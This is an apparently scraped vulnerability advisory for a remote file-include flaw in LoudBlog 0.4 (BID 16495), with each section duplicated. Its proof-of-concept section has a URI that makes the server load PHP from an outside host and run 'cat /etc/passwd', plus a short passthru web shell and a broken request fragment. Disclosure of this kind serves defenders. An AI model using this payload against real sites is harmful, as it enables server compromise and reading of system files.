Loudblog Backend_settings.PHP Remote File Include Vulnerability
BID:16495
Info
Loudblog Backend_settings.PHP Remote File Include Vulnerability
| Bugtraq ID: | 16495 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 04 2006 12:00AM |
| Updated: | Feb 04 2006 12:00AM |
| Credit: | rgod is credited with the discovery of this vulnerability. |
| Vulnerable: |
LoudBlog LoudBlog 0.4 |
| Not Vulnerable: | |
Discussion
Loudblog Backend_settings.PHP Remote File Include Vulnerability
Loudblog is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
This issue is reported to affect versions 0.4 and earlier.
Loudblog is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
This issue is reported to affect versions 0.4 and earlier.
Exploit / POC
Loudblog Backend_settings.PHP Remote File Include Vulnerability
An exploit is not required, although one has been provided in the exploit section.
The following proof of concept URI is available:
http://www.example.com/loudblog/inc/backend_settings.php?cmd=cat%20/etc/passwd
&GLOBALS[path]=http://www.example.com
HTTP/1.1\r\n";
Content-Type: multipart/form-data;
boundary=---------------------------7d529a1d23092a
Host: [target]
Content-Length: [data_length]
Connection: Close
-----------------------------7d529a1d23092a
Content-Disposition: form-data; name="language\r\n";
Content-Type:
suntzu
-----------------------------7d529a1d23092a--
where on http://www.example.com/loudblog/inc/suntzu.php/index.html, you
have code like this:
<?php
echo"Hi
Master!";ini_set("max_execution_time",0);passthru($cmd);
?>
An exploit is not required, although one has been provided in the exploit section.
The following proof of concept URI is available:
http://www.example.com/loudblog/inc/backend_settings.php?cmd=cat%20/etc/passwd
&GLOBALS[path]=http://www.example.com
HTTP/1.1\r\n";
Content-Type: multipart/form-data;
boundary=---------------------------7d529a1d23092a
Host: [target]
Content-Length: [data_length]
Connection: Close
-----------------------------7d529a1d23092a
Content-Disposition: form-data; name="language\r\n";
Content-Type:
suntzu
-----------------------------7d529a1d23092a--
where on http://www.example.com/loudblog/inc/suntzu.php/index.html, you
have code like this:
<?php
echo"Hi
Master!";ini_set("max_execution_time",0);passthru($cmd);
?>
Solution / Fix
Loudblog Backend_settings.PHP Remote File Include Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]:[email protected] <mailto:[email protected]:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]:[email protected] <mailto:[email protected]:[email protected]>.
References
Loudblog Backend_settings.PHP Remote File Include Vulnerability
References:
References: